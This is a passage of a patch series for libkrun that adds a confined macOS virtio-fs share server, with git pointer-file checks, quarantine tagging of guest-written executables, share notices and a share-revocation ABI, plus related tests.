self.git_forget(&mut st, gone); ++ Ok(()) + } + + fn rmdir(&self, _ctx: Context, parent: u64, name: &CStr) -> io::Result<()> { +@@ -888,7 +948,10 @@ impl FileSystem for ConfinedFs { + self.admit(&Mutation::Rmdir { parent, name })?; + let mut st = self.lock(); + let pfd = self.dir_fd(&mut st, parent)?; +- self.host.unlinkat(pfd.as_raw_fd(), name, true) ++ let gone = self.git_identity(&st, pfd.as_raw_fd(), name.to_bytes()); ++ self.host.unlinkat(pfd.as_raw_fd(), name, true)?; ++ self.git_forget(&mut st, gone); ++ Ok(()) + } + + fn rename(&self, _ctx: Context, olddir: u64, oldname: &CStr, newdir: u64, newname: &CStr, flags: u32) -> io::Result<()> { +@@ -918,11 +981,18 @@ impl FileSystem for ConfinedFs { + } else { + None + }; ++ let replaced = self.git_identity(&st, nfd.as_raw_fd(), newname.to_bytes()); + self.host.renameat(ofd.as_raw_fd(), oldname, nfd.as_raw_fd(), newname, extra)?; + self.moved(&mut st, dev_ino(&src), newdir, newname); + if let Some(d) = dst { + self.moved(&mut st, dev_ino(&d), olddir, oldname); + } ++ if st.git.is_some() { ++ // R15: held classes follow the names; a config renamed in is held and re-read. ++ self.git_forget(&mut st, Some(dev_ino(&src))); ++ self.git_forget(&mut st, replaced); ++ let _ = self.git_renamed(&mut st, newdir, newname.to_bytes(), dev_ino(&src)); ++ } + Ok(()) + } + +@@ -977,16 +1047,36 @@ impl FileSystem for ConfinedFs { + if flags & LINUX_O_APPEND != 0 { + host |= libc::O_APPEND; + } +- (self.open_file(&mut st, inode, host)?, false) ++ let fd = self.open_file(&mut st, inode, host)?; ++ // R16: a write-open of an executable tags it first. ++ if write && self.quarantine && sys::fstat(&fd)?.st_mode & 0o111 != 0 { ++ quarantine::tag(fd.as_raw_fd()).map_err(|_| err(lx::EIO))?; ++ } ++ (fd, false) + } + // R9: OPEN of anything but a regular file or a directory. + _ => return Err(err(lx::EACCES)), + }; +- if truncate { +- // R2: a truncating open is an open, the (dev, ino) check, then ftruncate on that descriptor. +- sys::ftruncate(fd.as_raw_fd(), 0)?; +- } ++ // R15: a pointer file opened for writing is written through a checked buffer. ++ let pointer = if write && !dir { self.git_pointer_node(&mut st, inode)? } else { None }; ++ let pointer = match pointer { ++ Some(kind) if truncate => Some(git::Pointer { kind, buf: Vec::new(), dirty: true }), ++ Some(kind) => { ++ let current = self.open_file(&mut st, inode, libc::O_RDONLY)?; ++ Some(git::Pointer { kind, buf: Self::read_pointer(¤t)?, dirty: false }) ++ } ++ None => { ++ if truncate { ++ // R2: a truncating open is an open, the (dev, ino) check, then ftruncate on that descriptor. ++ sys::ftruncate(fd.as_raw_fd(), 0)?; ++ } ++ None ++ } ++ }; + let h = self.add_handle(&mut st, inode, fd, write, dir)?; ++ if let Some(held) = st.handles.get_mut(&h) { ++ held.pointer = pointer; ++ } + // R12: CachePolicy::Auto (no direct I/O, no keep-cache). + Ok((Some(h), OpenOptions::empty())) + } +@@ -1017,6 +1107,7 @@ impl FileSystem for ConfinedFs { + host |= libc::O_APPEND; + } + // R2: O_CREAT | O_EXCL on the parent descriptor, so a create never lands on an existing node. ++ let pointer = self.git_pointer_name(&st, name.to_bytes()); + let fd = self.host.openat(pfd.as_raw_fd(), name, host, 0o600)?; + let mode = mode & MODE_MASK; + // R7: the exact masked mode, whatever the process umask removed. +@@ -1028,6 +1119,10 @@ impl FileSystem for ConfinedFs { + let s = sys::fstat(&fd)?; + let id = self.insert(&mut st, parent, name, &s)?; + let h = self.add_handle(&mut st, id, fd, access != 0, false)?; ++ // R15: a new pointer file stays empty on the host until its content is checked. ++ if let (Some(kind), Some(held)) = (pointer, st.handles.get_mut(&h)) { ++ held.pointer = Some(git::Pointer { kind, buf: Vec::new(), dirty: false }); ++ } + Ok((self.entry(&ctx, id, s), Some(h), OpenOptions::empty())) + } + +@@ -1061,6 +1156,12 @@ impl FileSystem for ConfinedFs { + _kill_priv: bool, + _flags: u32, + ) -> io::Result { ++ { ++ let mut st = self.lock(); ++ if let Some(n) = self.pointer_write(&mut st, inode, handle, &mut r, size, offset)? { ++ return Ok(n); ++ } ++ } + self.admit(&Mutation::Write { node: inode, handle })?; + let mut st = self.lock(); + let h = Self::handle(&mut st, inode, handle)?; +@@ -1073,7 +1174,9 @@ impl FileSystem for ConfinedFs { + + fn flush(&self, _ctx: Context, inode: u64, handle: u64, _lock_owner: u64) -> io::Result<()> { + let mut st = self.lock(); +- Self::handle(&mut st, inode, handle).map(drop) ++ Self::handle(&mut st, inode, handle)?; ++ // R15: a pointer file's buffered content is checked here, and written only if it passes. ++ self.settle_pointer(&mut st, inode, handle) + } + + fn fsync(&self, _ctx: Context, inode: u64, _datasync: bool, handle: u64) -> io::Result<()> { +@@ -1104,6 +1207,8 @@ impl FileSystem for ConfinedFs { + fn release(&self, _ctx: Context, inode: u64, _flags: u32, handle: u64, _flush: bool, _flock: bool, _owner: Option) -> io::Result<()> { + let mut st = self.lock(); + Self::handle(&mut st, inode, handle)?; ++ // R15: content written after the last FLUSH is checked too; a failure leaves the host untouched. ++ let _ = self.settle_pointer(&mut st, inode, handle); + st.handles.remove(&handle); + Ok(()) + } +@@ -1221,6 +1326,104 @@ impl FileSystem for ConfinedFs { + } + + impl ConfinedFs { ++ /// R16: a SETATTR that adds an execute bit to a regular file, or truncates one that has an execute ++ /// bit, tags it first; a tag failure fails the call (`EIO`) before anything changes. ++ fn tag_setattr(&self, fd: RawFd, attr: &bindings::stat64, valid: SetattrValid) -> io::Result<()> { ++ if !self.quarantine { ++ return Ok(()); ++ } ++ let current = sys::fstat_raw(fd)?.st_mode as u32 & 0o111; ++ let adds = valid.contains(SetattrValid::MODE) && attr.st_mode as u32 & MODE_MASK & 0o111 & !current != 0; ++ let truncates = valid.contains(SetattrValid::SIZE) && current != 0; ++ if adds || truncates { ++ quarantine::tag(fd).map_err(|_| err(lx::EIO))?; ++ } ++ Ok(()) ++ } ++ ++ /// R15: the current content of a pointer file opened for writing (at most `POINTER_MAX` bytes). ++ fn read_pointer(fd: &OwnedFd) -> io::Result> { ++ use std::os::unix::fs::FileExt; ++ let mut buf = vec![0u8; POINTER_MAX + 1]; ++ let file = File::from(fd.try_clone()?); ++ let mut len = 0; ++ while len < buf.len() { ++ let n = file.read_at(&mut buf[len..], len as u64)?; ++ if n == 0 { ++ break; ++ } ++ len += n; ++ } ++ if len > POINTER_MAX { ++ return Err(err(lx::EPERM)); ++ } ++ buf.truncate(len); ++ Ok(buf) ++ } ++ ++ /// R15: a WRITE through a pointer file's handle goes to its buffer (at most `POINTER_MAX` bytes in ++ /// total; more is `EPERM`). `None` when the handle is not a pointer file's. ++ fn pointer_write(&self, st: &mut State, inode: u64, handle: u64, r: &mut R, size: u32, offset: u64) -> io::Result> { ++ let Some(h) = st.handles.get_mut(&handle).filter(|h| h.node == inode) else { return Ok(None) }; ++ let writable = h.writable; ++ let Some(p) = h.pointer.as_mut() else { return Ok(None) }; ++ if !writable { ++ return Err(err(lx::EBADF)); ++ } ++ // The buffer bypasses the git rules (they would refuse a pointer file), never the policy hooks. ++ self.hooks.admit(&Mutation::Write { node: inode, handle })?; ++ let end = offset.checked_add(u64::from(size)).filter(|e| *e <= POINTER_MAX as u64); ++ let Some(end) = end else { ++ self.notices.push(NoticeKind::GitProtected); ++ return Err(err(lx::EPERM)); ++ }; ++ let mut data = vec![0u8; size as usize]; ++ r.read_exact(&mut data)?; ++ if p.buf.len() < end as usize { ++ p.buf.resize(end as usize, 0); ++ } ++ p.buf[offset as usize..end as usize].copy_from_slice(&data); ++ p.dirty = true; ++ Ok(Some(size as usize)) ++ } ++ ++ /// R15: a truncate through a pointer file's handle resizes its buffer. `None` when the handle is not a ++ /// pointer file's. ++ fn pointer_resize(&self, st: &mut State, ctx: &Context, inode: u64, handle: u64, size: i64) -> io::Result> { ++ let Some(h) = st.handles.get_mut(&handle).filter(|h| h.node == inode) else { return Ok(None) }; ++ let fd = h.fd(); ++ let Some(p) = h.pointer.as_mut() else { return Ok(None) }; ++ self.hooks.admit(&Mutation::Setattr { node: inode, valid: SetattrValid::SIZE, mode: 0 })?; ++ if size < 0 || size as usize > POINTER_MAX { ++ self.notices.push(NoticeKind::GitProtected); ++ return Err(err(lx::EPERM)); ++ } ++ p.buf.resize(size as usize, 0); ++ p.dirty = true; ++ let mut s = sys::fstat_raw(fd)?; ++ s.st_size = size; ++ Ok(Some((self.simplified(ctx, s), TIMEOUT))) ++ } ++ ++ /// R15: checks a pointer file's buffered content and, only if it passes, writes it to the host through ++ /// the handle's descriptor. A failure is `EPERM` and the host file keeps what it had (empty for a new ++ /// one). ++ fn settle_pointer(&self, st: &mut State, inode: u64, handle: u64) -> io::Result<()> { ++ use std::os::unix::fs::FileExt; ++ let Some(p) = st.handles.get_mut(&handle).and_then(|h| h.pointer.as_mut()) else { return Ok(()) }; ++ if !p.dirty { ++ return Ok(()); ++ } ++ p.dirty = false; ++ let (kind, buf) = (p.kind, p.buf.clone()); ++ self.git_pointer_check(st, inode, kind, &buf)?; ++ let h = st.handles.get(&handle).ok_or_else(|| err(lx::EBADF))?; ++ // A pointer file's handle is always a file handle. ++ let Body::File(file) = &h.body else { return Err(err(lx::EBADF)) }; ++ sys::ftruncate(file.as_raw_fd(), 0)?; ++ file.write_all_at(&buf, 0) ++ } ++ + fn apply_setattr(&self, ctx: &Context, fd: RawFd, attr: &bindings::stat64, valid: SetattrValid) -> io::Result<(bindings::stat64, Duration)> { + if valid.contains(SetattrValid::MODE) { + // R7: masked, never setuid, setgid or sticky. +diff --git a/src/devices/src/virtio/fs/macos/confined/notice.rs b/src/devices/src/virtio/fs/macos/confined/notice.rs +new file mode 100644 +index 0000000..959d88d +--- /dev/null ++++ b/src/devices/src/virtio/fs/macos/confined/notice.rs +@@ -0,0 +1,79 @@ ++// R15: the `share_notice` sink. The server records the first notice of each kind per incarnation; the ++// device layer drains it and the worker sends `share_notice{tag, kind}` (tagging and the one-per-second ++// rate limit are the worker's). The sink is bounded by construction: at most one entry per kind. ++ ++use std::collections::VecDeque; ++use std::sync::{Arc, Mutex}; ++ ++/// The `kind` of a `share_notice` (design 2.4). ++#[derive(Clone, Copy, Debug, PartialEq, Eq)] ++pub enum NoticeKind { ++ /// An R15 refusal: a `.git/hooks` entry, a risky config key, a git directory move, a pointer file, a ++ /// tracked hook or an include target. ++ GitProtected, ++ /// An allowed write to a watched name (T18, T19). ++ Envrc, ++ VscodeTasks, ++ VscodeSettings, ++ CodeWorkspace, ++ IdeaProject, ++} ++ ++impl NoticeKind { ++ pub const ALL: [NoticeKind; 6] = [ ++ NoticeKind::GitProtected, ++ NoticeKind::Envrc, ++ NoticeKind::VscodeTasks, ++ NoticeKind::VscodeSettings, ++ NoticeKind::CodeWorkspace, ++ NoticeKind::IdeaProject, ++ ]; ++ ++ /// The wire value of `kind`. ++ pub fn wire(self) -> &'static str { ++ match self { ++ NoticeKind::GitProtected => "git_protected", ++ NoticeKind::Envrc => "envrc", ++ NoticeKind::VscodeTasks => "vscode_tasks", ++ NoticeKind::VscodeSettings => "vscode_settings", ++ NoticeKind::CodeWorkspace => "code_workspace", ++ NoticeKind::IdeaProject => "idea_project", ++ } ++ } ++ ++ fn bit(self) -> u8 { ++ 1 << NoticeKind::ALL.iter().position(|k| *k == self).unwrap_or(0) ++ } ++} ++ ++/// The most notices the sink ever holds: one per kind. ++pub const NOTICE_CAPACITY: usize = NoticeKind::ALL.len(); ++ ++#[derive(Default)] ++struct Sink { ++ reported: u8, ++ pending: VecDeque, ++} ++ ++/// A bounded, deduplicated queue of notices, shared between the server (which pushes on the device ++/// thread) and the device layer (which drains). Cloning shares the same queue. ++#[derive(Clone, Default)] ++pub struct ShareNotices(Arc>); ++ ++impl ShareNotices { ++ /// Records `kind` unless it was already reported in this incarnation. ++ pub fn push(&self, kind: NoticeKind) { ++ let mut sink = self.0.lock().unwrap_or_else(|e| e.into_inner()); ++ if sink.reported & kind.bit() != 0 || sink.pending.len() >= NOTICE_CAPACITY { ++ return; ++ } ++ sink.reported |= kind.bit(); ++ sink.pending.push_back(kind); ++ } ++ ++ /// Takes every pending notice, oldest first. ++ pub fn drain(&self) -> Vec { ++ let mut sink = self.0.lock().unwrap_or_else(|e| e.into_inner()); ++ sink.pending.drain(..).collect() ++ } ++} +diff --git a/src/devices/src/virtio/fs/macos/confined/quarantine.rs b/src/devices/src/virtio/fs/macos/confined/quarantine.rs +new file mode 100644 +index 0000000..3f142a4 +--- /dev/null ++++ b/src/devices/src/virtio/fs/macos/confined/quarantine.rs +@@ -0,0 +1,40 @@ ++// R16: the quarantine tag on guest-created files. The server itself, never the guest, sets exactly ++// `com.apple.quarantine` by `fsetxattr` on a descriptor it holds (R7's one carve-out); R0 keeps the whole ++// xattr family away from the guest. This is the only xattr call in the server. ++ ++use std::ffi::CStr; ++use std::io; ++use std::os::fd::RawFd; ++use std::time::{SystemTime, UNIX_EPOCH}; ++ ++use super::sys::{err, lx}; ++ ++/// The one attribute the server ever writes. ++pub const QUARANTINE_NAME: &CStr = c"com.apple.quarantine"; ++/// The flag word of the tag (an SH2 decision, checked at G7: Gatekeeper must treat the file as downloaded). ++pub const QUARANTINE_FLAGS: &str = "0081"; ++/// The agent field of the tag. ++pub const QUARANTINE_AGENT: &str = "Winter Cowork"; ++ ++/// `0081;;Winter Cowork;` (no event UUID). ++pub fn value_at(seconds: u64) -> String { ++ format!("{QUARANTINE_FLAGS};{seconds:08x};{QUARANTINE_AGENT};") ++} ++ ++#[cfg(test)] ++pub static FAIL_NEXT: std::sync::atomic::AtomicBool = std::sync::atomic::AtomicBool::new(false); ++ ++/// Sets the tag on `fd`. A failure is returned, never skipped (the caller answers `EIO`). ++pub fn tag(fd: RawFd) -> io::Result<()> { ++ // The tests make the next call fail for real (a closed descriptor) to prove the failure path. ++ #[cfg(test)] ++ let fd = if FAIL_NEXT.swap(false, std::sync::atomic::Ordering::SeqCst) { -1 } else { fd }; ++ let now = SystemTime::now().duration_since(UNIX_EPOCH).map(|d| d.as_secs()).unwrap_or(0); ++ let value = value_at(now); ++ // SAFETY: the name is a valid C string and the value a live buffer of the given length. ++ let res = unsafe { libc::fsetxattr(fd, QUARANTINE_NAME.as_ptr(), value.as_ptr().cast(), value.len(), 0, 0) }; ++ if res < 0 { ++ return Err(err(lx::EIO)); ++ } ++ Ok(()) ++} +diff --git a/src/devices/src/virtio/fs/macos/confined/sys.rs b/src/devices/src/virtio/fs/macos/confined/sys.rs +index 266b812..3a6c2fe 100644 +--- a/src/devices/src/virtio/fs/macos/confined/sys.rs ++++ b/src/devices/src/virtio/fs/macos/confined/sys.rs +@@ -211,3 +211,35 @@ pub fn fstatvfs(fd: RawFd) -> io::Result { + check(unsafe { libc::fstatvfs(fd, st.as_mut_ptr()) })?; + Ok(unsafe { st.assume_init() }) + } ++ ++/// R15: whether the volume of `fd` compares names case-sensitively (`fpathconf(_PC_CASE_SENSITIVE)`). ++/// Anything but 1 (0, or an error) is treated as case-insensitive, the wider match. ++pub fn case_sensitive(fd: RawFd) -> bool { ++ unsafe { libc::fpathconf(fd, libc::_PC_CASE_SENSITIVE) == 1 } ++} ++ ++/// R15: the names in a held directory (`.` and `..` left out), read through a duplicate of its descriptor. ++pub fn list_dir(fd: RawFd) -> io::Result>> { ++ let dup = check(unsafe { libc::dup(fd) })?; ++ let dir = unsafe { libc::fdopendir(dup) }; ++ if dir.is_null() { ++ let e = host_err(); ++ unsafe { libc::close(dup) }; ++ return Err(e); ++ } ++ unsafe { libc::rewinddir(dir) }; ++ let mut names = Vec::new(); ++ loop { ++ let entry = unsafe { libc::readdir(dir) }; ++ if entry.is_null() { ++ break; ++ } ++ // SAFETY: readdir returned a valid entry; the name is copied at once. ++ let name = unsafe { std::slice::from_raw_parts((*entry).d_name.as_ptr().cast::(), usize::from((*entry).d_namlen)).to_vec() }; ++ if name != b"." && name != b".." { ++ names.push(name); ++ } ++ } ++ unsafe { libc::closedir(dir) }; ++ Ok(names) ++} +diff --git a/src/devices/src/virtio/fs/macos/confined/tests.rs b/src/devices/src/virtio/fs/macos/confined/tests.rs +index 79d4ad1..8e58ba9 100644 +--- a/src/devices/src/virtio/fs/macos/confined/tests.rs ++++ b/src/devices/src/virtio/fs/macos/confined/tests.rs +@@ -387,6 +387,10 @@ fn within(seconds: u64, f: impl FnOnce() -> T + Send + 'stati + rx.recv_timeout(Duration::from_secs(seconds)).expect("the device thread blocked") + } + ++// The R15 and R16 suites. ++#[path = "git_tests.rs"] ++mod git_tests; ++ + // ---- R0: opcode allowlist, INIT ---------------------------------------------------------------------- + + #[test] +@@ -667,18 +671,30 @@ fn r2_host_calls_refuse_parent_absolute_and_symlinked_paths_on_their_own() { + + #[test] + fn r2_no_path_open_no_volfs_no_realpath_in_the_server() { +- let sources = [include_str!("mod.rs"), include_str!("sys.rs"), include_str!("names.rs")]; ++ let sources = [ ++ include_str!("mod.rs"), ++ include_str!("sys.rs"), ++ include_str!("names.rs"), ++ include_str!("git.rs"), ++ include_str!("gitconfig.rs"), ++ include_str!("notice.rs"), ++ include_str!("quarantine.rs"), ++ ]; + let volfs = concat!("/", ".vol"); + let needles = [ + "libc::open(", "AT_FDCWD", "realpath(", volfs, "libc::renameat(", "libc::umask", "File::open", "std::path", "libc::stat(", "libc::lstat(", + "libc::chmod(", "libc::mkdir(", "libc::unlink(", "libc::rename(", "libc::symlink(", "libc::link(", "libc::readlink(", "libc::truncate(", +- "libc::utimes(", "libc::setxattr(", "libc::fsetxattr(", "libc::mknod", "libc::mkfifo", ++ "libc::utimes(", "libc::setxattr(", "libc::mknod", "libc::mkfifo", "getxattr(", "removexattr(", "listxattr(", "canonicalize(", + ]; + for source in sources { + for needle in needles { + assert!(!source.contains(needle), "{needle}"); + } + } ++ // R7's one carve-out (R16): a single fsetxattr, in quarantine.rs, of the one fixed name. ++ let calls: Vec = sources.iter().map(|s| s.matches(concat!("libc::", "fsetxattr(")).count()).collect(); ++ assert_eq!(calls, [0, 0, 0, 0, 0, 0, 1]); ++ assert!(include_str!("quarantine.rs").contains(concat!("libc::", "fsetxattr(fd, QUARANTINE_NAME.as_ptr(),"))); + } + + #[test] diff --git a/apple/Cowork/WinterCoworkLibkrun/patches/0026-proposed-guarded-fs-device-shares-abi-gate.patch b/apple/Cowork/WinterCoworkLibkrun/patches/0026-proposed-guarded-fs-device-shares-abi-gate.patch new file mode 100644 index 000000000..82592ddc3 --- /dev/null +++ b/apple/Cowork/WinterCoworkLibkrun/patches/0026-proposed-guarded-fs-device-shares-abi-gate.patch @@ -0,0 +1,2632 @@ +diff --git a/include/libkrun.h b/include/libkrun.h +index 669d9bd..8597c06 100644 +--- a/include/libkrun.h ++++ b/include/libkrun.h +@@ -287,7 +287,8 @@ int32_t krun_add_disk2(uint32_t ctx_id, + * + * The production profile is a separate gate from the fixture opt-ins below. It admits exactly: the + * two admitted RAW volumes, the generic runtime port, TWO vCPUs and 768..1024 MiB. The device +- * inventory is the admitted one (virtio block x2, console/runtime port, rng, balloon); no shutdown ++ * inventory is the admitted one (virtio block x2, console/runtime port, rng, balloon), plus one ++ * confined virtio-fs device per share added by krun_cowork_add_share_v1 (at most 12); no shutdown + * GPIO device, no network, no vsock, no HVC bootstrap stream and no fixture trace. The limits are + * enforced inside the reviewed start-time gate, so krun_start_enter refuses any other geometry + * before it allocates anything. Raising either ceiling lifts that gate: it needs a fresh drain and +@@ -297,7 +298,8 @@ int32_t krun_add_disk2(uint32_t ctx_id, + * Call order: krun_create_ctx, the usual non-device setters (kernel, console, krun_set_vm_config + * with exactly KRUN_COWORK_PRODUCTION_VCPUS and a memory size in range), + * krun_cowork_enable_profile_v1, krun_cowork_create_runtime_port_v1, +- * krun_cowork_set_workspace_disks_v1, krun_cowork_validate_profile_v1 (mandatory), and last ++ * krun_cowork_set_workspace_disks_v1, krun_cowork_add_share_v1 once per share (optional), ++ * krun_cowork_validate_profile_v1 (mandatory), and last + * krun_start_enter. Every function returns zero (or a descriptor >= 3) or a negative errno. + */ + #define KRUN_COWORK_PRODUCTION_VCPUS 2 +@@ -384,14 +386,52 @@ int32_t krun_cowork_get_flush_counters_v1(struct krun_cowork_flush_counters_v1 * + struct krun_cowork_pin_counters_v1 { + uint32_t size; /* in: sizeof(struct); out: bytes written */ + uint32_t reserved; +- uint64_t max_pins; /* 48 */ +- uint64_t max_pinned_bytes; /* 8 MiB */ ++ uint64_t max_pins; /* 48 + 4 * shares (48 before a VM is built) */ ++ uint64_t max_pinned_bytes; /* 8 MiB + 1,114,136 * shares */ + uint64_t high_water_pins; + uint64_t high_water_bytes; + uint64_t budget_refusals; /* pins refused for the budget; the worker stops after one */ + }; + int32_t krun_cowork_get_pin_counters_v1(struct krun_cowork_pin_counters_v1 *out); + ++/* ====== Host-backed shares (SH2): the confined virtio-fs server on a guarded fs device ====== ++ * One device per share; no shared-memory region; Simplified permissions, no xattr. Call after ++ * krun_cowork_enable_profile_v1 and before krun_cowork_validate_profile_v1. The pin budget grows with the ++ * shares: 48 + 4 * S pins and 8,388,608 + 1,114,136 * S bytes (96 and 21,758,240 at S = 12). */ ++#define KRUN_COWORK_MAX_SHARES 12 ++#define KRUN_COWORK_SHARE_READ_ONLY (1u << 0) /* every mutation is EROFS */ ++#define KRUN_COWORK_SHARE_WINTER (1u << 1) /* a Winter share: O_UNIQUE, LINK refused, F_FULLFSYNC */ ++#define KRUN_COWORK_SHARE_FOLDER_RULES (1u << 2) /* folder rules (git and quarantine); not with WINTER */ ++ ++/* flags: bit 0 = read-only, bit 1 = Winter share (R5 O_UNIQUE), bit 2 = folder rules (R15); every other bit zero. ++ tag: [a-z0-9-]{1,32}, distinct. root_fd: a directory, borrowed. guest_path: the canonical guest mount path (R15 gitfiles only). */ ++int32_t krun_cowork_add_share_v1(uint32_t ctx_id, const char *tag, int32_t root_fd, uint32_t flags, const char *guest_path); ++ ++/* Revokes one share (R11), from any thread, before or after krun_start_enter. Every request that starts ++ * after it answers EACCES; the device's own thread closes the share's descriptors at its next request ++ * boundary, or at once when idle, and only then is KRUN_COWORK_SHARE_EVENT_REVOKED queued for the tag. ++ * A repeat returns 0 and reports nothing. -ENOENT for an unknown context or tag. */ ++int32_t krun_cowork_revoke_share_v1(uint32_t ctx_id, const char *tag); ++ ++#define KRUN_COWORK_SHARE_EVENT_REVOKED 1 /* the share's descriptors are closed: send share_revoked{tag} */ ++#define KRUN_COWORK_SHARE_EVENT_NOTICE 2 /* send share_notice{tag, kind}, kind = notice */ ++#define KRUN_COWORK_SHARE_NOTICE_ENVRC 1 ++#define KRUN_COWORK_SHARE_NOTICE_VSCODE_TASKS 2 ++#define KRUN_COWORK_SHARE_NOTICE_VSCODE_SETTINGS 3 ++#define KRUN_COWORK_SHARE_NOTICE_CODE_WORKSPACE 4 ++#define KRUN_COWORK_SHARE_NOTICE_IDEA_PROJECT 5 ++#define KRUN_COWORK_SHARE_NOTICE_GIT_PROTECTED 6 ++struct krun_cowork_share_event_v1 { ++ uint32_t size; /* in: sizeof(struct); out: bytes written */ ++ uint32_t kind; /* KRUN_COWORK_SHARE_EVENT_* */ ++ uint32_t notice; /* KRUN_COWORK_SHARE_NOTICE_* for a notice, 0 otherwise */ ++ uint32_t reserved; ++ char tag[36]; /* NUL-terminated */ ++}; ++/* The next share event of a context: 1 when one was written, 0 when none arrived within timeout_ms (0 polls, ++ * at most 60000). Once per tag for a revocation, once per tag and kind for a notice. */ ++int32_t krun_cowork_next_share_event_v1(uint32_t ctx_id, struct krun_cowork_share_event_v1 *out, uint32_t timeout_ms); ++ + #ifdef KRUN_COWORK_FIXTURE_ORACLE + /* ====== Fixture oracle: present only when built with `cowork-fixture-oracle` ====== + * Regression oracle for the reviewed fixture profile. Never a production API. A context that carries +diff --git a/src/devices/src/cowork_counters.rs b/src/devices/src/cowork_counters.rs +index ee89196..564021b 100644 +--- a/src/devices/src/cowork_counters.rs ++++ b/src/devices/src/cowork_counters.rs +@@ -27,6 +27,9 @@ static FLUSH: [FlushSlot; FLUSH_SLOTS] = [FlushSlot::new(), FlushSlot::new()]; + static PIN_HIGH_COUNT: AtomicU64 = AtomicU64::new(0); + static PIN_HIGH_BYTES: AtomicU64 = AtomicU64::new(0); + static PIN_REFUSED: AtomicU64 = AtomicU64::new(0); ++/// The budget the started VM's `Access` was built with (0: no VM built in this process yet). ++static BUDGET_PINS: AtomicU64 = AtomicU64::new(0); ++static BUDGET_BYTES: AtomicU64 = AtomicU64::new(0); + + fn slot(device: u64) -> Option<&'static FlushSlot> { + usize::try_from(device).ok().and_then(|index| FLUSH.get(index)) +@@ -78,6 +81,18 @@ pub fn pin_accepted(count: usize, bytes: u64) { + pub fn pin_refused() { + PIN_REFUSED.fetch_add(1, Ordering::AcqRel); + } ++/// Records the pin budget the VM's `Access` was built with (R14: it grows with the shares). ++pub fn set_budget(pins: usize, bytes: u64) { ++ BUDGET_PINS.store(pins as u64, Ordering::Release); ++ BUDGET_BYTES.store(bytes, Ordering::Release); ++} ++/// The recorded budget, or `None` before a VM was built in this process. ++pub fn budget() -> Option<(u64, u64)> { ++ match BUDGET_PINS.load(Ordering::Acquire) { ++ 0 => None, ++ pins => Some((pins, BUDGET_BYTES.load(Ordering::Acquire))), ++ } ++} + #[derive(Clone, Copy, Debug, Default, PartialEq, Eq)] + pub struct PinSnapshot { + pub high_water_pins: u64, +diff --git a/src/devices/src/virtio/fs/cowork.rs b/src/devices/src/virtio/fs/cowork.rs +new file mode 100644 +index 0000000..4e9a038 +--- /dev/null ++++ b/src/devices/src/virtio/fs/cowork.rs +@@ -0,0 +1,693 @@ ++//! The guarded fs device of the Cowork shares (SH2, the device half of R6, R10, R11, R13 and R14 of the ++//! N2 extensions design). One device serves one share: a `ConfinedFs` behind `Server::handle_confined_message`, ++//! on libkrun's virtio-fs transport, guarded the way the guarded block device is: ++//! ++//! * The device registers with the reclaim `Access`. Both virtqueues' rings are pinned for the life of an ++//! activation, and every request pins its descriptor ranges from the moment it is popped until its used ++//! entry is published (R14). ++//! * Guest memory is touched only under a lease: the request bytes are copied out, the reply is copied in. ++//! The filesystem work runs on a private bounce copy of the chain with no lease held, so a reclaim ++//! `freeze` never waits for host I/O, and a capture or completion that meets a freeze waits for the ++//! resume (R14). ++//! * A chain of more than `max_pages + 4` descriptors, or of more than 1,048,576 + 8,192 bytes (4,096 on the ++//! high-priority queue), is refused before anything is pinned: a terminal fault, as for a malformed block ++//! chain (R14). So is a chain whose writable area is under the 16-byte FUSE out header, except a FORGET or ++//! BATCH_FORGET with no writable descriptor at all on the high-priority queue (they take no reply). ++//! * One worker thread per device handles one request at a time (R10). There is no shared-memory region (R6). ++//! * Revocation (R11): any thread sets the flag. The device's own thread closes the share's descriptors at ++//! its next request boundary, or at once when it is idle (the revoker writes its request queue event), ++//! then reports `ShareEvent::Revoked` once. While no device thread runs (never activated, reset or ++//! stopped), the share's server sits in its slot, and the revoker closes it there under the slot lock, ++//! where no other thread can be using it. ++//! * The exit path stops and joins the worker before the exit hook (R13; `VmmExitObserver for Fs`). ++use std::collections::{HashSet, VecDeque}; ++use std::ffi::{CStr, CString}; ++use std::fmt; ++use std::io; ++use std::os::fd::AsRawFd; ++use std::sync::atomic::{AtomicBool, Ordering}; ++use std::sync::{Arc, Condvar, Mutex, MutexGuard}; ++use std::thread::JoinHandle; ++use std::time::{Duration, Instant}; ++ ++use utils::epoll::{ControlOperation, Epoll, EpollEvent, EventSet}; ++use utils::eventfd::EventFd; ++use vm_memory::{Address, Bytes, GuestAddress, GuestMemory, GuestMemoryMmap, GuestMemoryRegion}; ++ ++use super::defs::{HPQ_INDEX, NUM_QUEUES, QUEUE_SIZE, REQ_INDEX}; ++use super::descriptor_utils::{Reader, Writer}; ++use super::macos::confined::{ConfinedConfig, ConfinedFs, NoticeKind, RevokeSwitch, ShareFlags, ShareNotices}; ++use super::server::confined_dispatch::CONFINED_MAX_PAGES; ++use super::server::Server; ++use crate::reclaim_access::{Access, Device, Fault, Lease, Pin, Range}; ++use crate::virtio::{Descriptor, DescriptorChain, DeviceQueue, Queue}; ++ ++/// At most 12 shares per incarnation: nine folder sources and the three Winter shares (2.1). ++pub const MAX_SHARES: usize = 12; ++/// A share tag is `[a-z0-9-]{1,32}` (the ABI block of 2.3). ++pub const TAG_MAX: usize = 32; ++/// A guest mount path fits the L2 record's `guest_path[256]`, NUL-padded (2.4). ++pub const GUEST_PATH_MAX: usize = 255; ++/// R14: the longest chain the device accepts, `max_pages + 4` descriptors. ++pub const MAX_CHAIN_DESCRIPTORS: usize = CONFINED_MAX_PAGES as usize + 4; ++/// R14: the most bytes one request-queue chain may carry: a 1 MiB payload plus the FUSE in and out headers. ++pub const MAX_CHAIN_BYTES: u64 = CONFINED_MAX_PAGES as u64 * 4096 + 8192; ++/// R14: the most bytes one high-priority-queue chain (FORGET, INTERRUPT) may carry. ++pub const MAX_HPQ_BYTES: u64 = 4096; ++/// R14: one virtqueue's rings at the queue size the device offers: the descriptor table, the available ++/// ring and the used ring (26,636 bytes at 1,024 entries). ++pub const RING_BYTES: u64 = 16 * QUEUE_SIZE as u64 + (6 + 2 * QUEUE_SIZE as u64) + (6 + 8 * QUEUE_SIZE as u64); ++/// The FUSE out header every reply starts with. A chain whose writable area cannot hold it is refused: the ++/// stock READ, READDIR and READDIRPLUS handlers unwrap the split after it. ++pub const OUT_HEADER_BYTES: u64 = std::mem::size_of::() as u64; ++/// R14: pins one fs device holds at most: two ring pins, one request and one high-priority request. ++pub const PINS_PER_SHARE: usize = 4; ++/// R14: bytes one fs device pins at most (1,114,136). ++pub const PINNED_BYTES_PER_SHARE: u64 = MAX_CHAIN_BYTES + MAX_HPQ_BYTES + 2 * 